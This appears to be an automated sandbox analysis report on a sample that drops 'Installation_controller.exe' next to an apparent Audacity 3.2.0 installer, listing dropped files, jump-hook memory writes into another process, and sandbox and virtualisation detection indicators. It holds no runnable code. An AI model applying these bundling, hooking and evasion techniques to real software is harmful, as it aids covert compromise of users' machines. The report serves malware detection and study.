Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-GAK9A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-EPTFT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\crashreporter.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-audio-devices.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-project-rate.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-sample-track.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-L050V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-module-manager.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-L0CK2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-V5T2O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\portmidi.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\WsiysHggF9.exe	File created: C:\ProgramData\Installation_controller.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-9K9M7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-DEMF3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-UFU1R.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-5AL5G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\opus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\vcruntime140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-E63DL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-JALHN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-project.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\modules\mod-script-pipe.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-DBS3U.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-uuid.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-J5UM8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-ffmpeg-support.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\wxmsw313u_aui_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-6C785.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-AG00V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-9JHT8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-K3IU2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-LAIB1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-string-utils.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\Audacity.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-4STCS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-R9F1C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-registries.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-VGNVB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-OF8N5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\vcruntime140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\wxmsw313u_html_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\wxmsw313u_qa_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-NTE5N.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-EE795.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\wxbase313u_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\mpg123.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\wxmsw313u_core_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-VMF33.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-JO5BM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-6S7SN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\vorbisfile.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-track.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-H8I8G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-8SGGQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\vorbis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-ipc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-KRBVG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-U641C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-MVD1T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-8JNDO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-utility.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\FLAC++.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-CV5R1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\msvcp140_atomic_wait.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-7U34J.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\mod-script-pipe.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-7HBD3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-math.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-url-schemes.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-5OMUN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-3RF3V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-IOAI2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-components.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-KRBQ3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-network-manager.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\wxbase313u_xml_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-NKFUD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-NL931.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-19I02.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-32N1E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-cloud-upload.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-project-history.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\msvcp140_2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-7BF1G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\lib-strings.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-1J0J3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-HKQ8J.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-0UDPU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\is-GCDE1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	File created: C:\Program Files\Audacity\concrt140.dll (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Audacity.lnk

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FA20005 value: E9 CB 98 37 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D998D0 value: E9 3A 67 C8 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FA30005 value: E9 4B 9A 36 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99A50 value: E9 BA 65 C9 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FA40005 value: E9 2B 98 35 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99830 value: E9 DA 67 CA C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FA70005 value: E9 3B 95 32 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99540 value: E9 CA 6A CD C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FB60005 value: E9 EB 95 23 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D995F0 value: E9 1A 6A DC C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FB70005 value: E9 8B 99 22 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99990 value: E9 7A 66 DD C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FB80005 value: E9 6B 97 21 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99770 value: E9 9A 68 DE C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FB90005 value: E9 4B 98 20 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99850 value: E9 BA 67 DF C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FBA0005 value: E9 9B 99 1F 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D999A0 value: E9 6A 66 E0 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FBB0005 value: E9 0B 9A 1E 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99A10 value: E9 FA 65 E1 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FBC0005 value: E9 7B 97 1D 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99780 value: E9 8A 68 E2 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FBD0005 value: E9 9B 97 1C 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D997A0 value: E9 6A 68 E3 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FCE0005 value: E9 2B 97 0B 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99730 value: E9 DA 68 F4 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FCF0005 value: E9 FB 99 0A 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D99A00 value: E9 0A 66 F5 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FD00005 value: E9 CB 95 09 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D995D0 value: E9 3A 6A F6 C7	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 3FD10005 value: E9 DB 95 08 38	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Memory written: PID: 6064 base: 77D995E0 value: E9 2A 6A F7 C7	Jump to behavior

Source: C:\Users\user\Desktop\WsiysHggF9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Installation_controller.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\audacity-win-3.2.0-64bit.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Installation_controller.exe, 00000001.00000002.517305085.0000000000426000.00000020.00000001.01000000.00000005.sdmp	Binary or memory string: EFDXSBIEDLL.DLL
Source: Installation_controller.exe, 00000001.00000002.517305085.0000000000426000.00000020.00000001.01000000.00000005.sdmp	Binary or memory string: EFDXSBIEDLL.DLL!H

Tries to detect virtualization through RDTSC time measurements

